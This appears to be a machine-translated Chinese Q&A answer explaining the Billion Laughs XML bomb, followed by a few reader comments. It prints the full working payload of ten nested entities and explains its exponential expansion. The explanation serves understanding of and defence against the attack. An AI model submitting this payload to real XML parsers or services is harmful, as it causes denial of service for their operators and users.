The Billion Laughs攻击是针对XML解析器的拒绝服务攻击。亿笑攻击也被称为XML炸弹,或者更为深奥的是指数实体扩展攻击。即使使用格式良好的XML,也可能发生十亿个笑的攻击,并且还可以通过XML模式验证。
在下面的XML文件中演示了vanilla Billion Laughs攻击。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
在这个例子中,有10个不同的XML实体,lol
- lol9
。第一个实体lol
被定义为字符串“lol”
。但是,每个其他实体被定义为另一个实体的10个实体。此XML文件的文档内容部分仅包含对实体lol9
的一个实例的引用。但是,当DOM或SAX语法分析器正在解析此内容时,遇到lol9
时,它将扩展为10个,其中每个扩展为10个,其他等等。当所有内容扩展到文本lol
时,都会有100,000,000个字符串"lol"
的实例。如果还有一个实体,或者lol
被定义为“lol”
的10个字符串,则会有十亿个“大声笑”,因此就是攻击的名字。毋庸置疑,这样的扩展消耗了大量的资源和时间,导致了DOS。
我的blog存在更广泛的解释。
应该迁移到BufferOverFlow ... http://en.wikipedia。org/wiki/Billion_laughs – codingbadger 2010-08-10 16:31:31
你应该被迁移到barryoverflow – 2010-08-10 17:17:08
在Firefox 48上试一试你的计算机失速:-) https://bugzilla.mozilla.org/show_bug.cgi?id=798374 – 2016-09-18 17:07:27